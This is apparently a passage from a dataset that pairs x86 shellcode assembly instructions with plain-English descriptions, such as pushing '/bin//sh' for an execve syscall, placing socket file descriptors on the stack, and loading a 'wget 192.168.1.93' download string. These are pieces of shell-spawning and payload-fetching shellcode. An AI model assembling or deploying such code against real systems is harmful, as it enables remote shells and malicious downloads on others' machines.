ecx \n push 0x7461632f \n push 0x6e69622f \n mov ebx,esp load Ô/bin/catÕ and null teminating string into ebx register push ecx \n push 0x8 \n push edx \n push esi \n mov ecx, esp load ecx content, hexadecimal value 0x8, edx content, esi content into ecx register push ecx \n push 0xb \n pop eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load __nr_execve syscall into eax register and the string Ô/bin//sh\0Õ into ebx register push ecx \n push dword 0x68732f2f \n push dword 0x6e69622f \n mov ebx, esp load Ô/bin//sh\0Õ into ebx register push ecx \n push eax push the pointer to sockaddr and the fd received previously on stack push ecx \n push ebx push ecx and ebx content on stack push ecx \n push ebx \n mov ecx,esp load the string /usr/bin/wget 192.168.1.93//x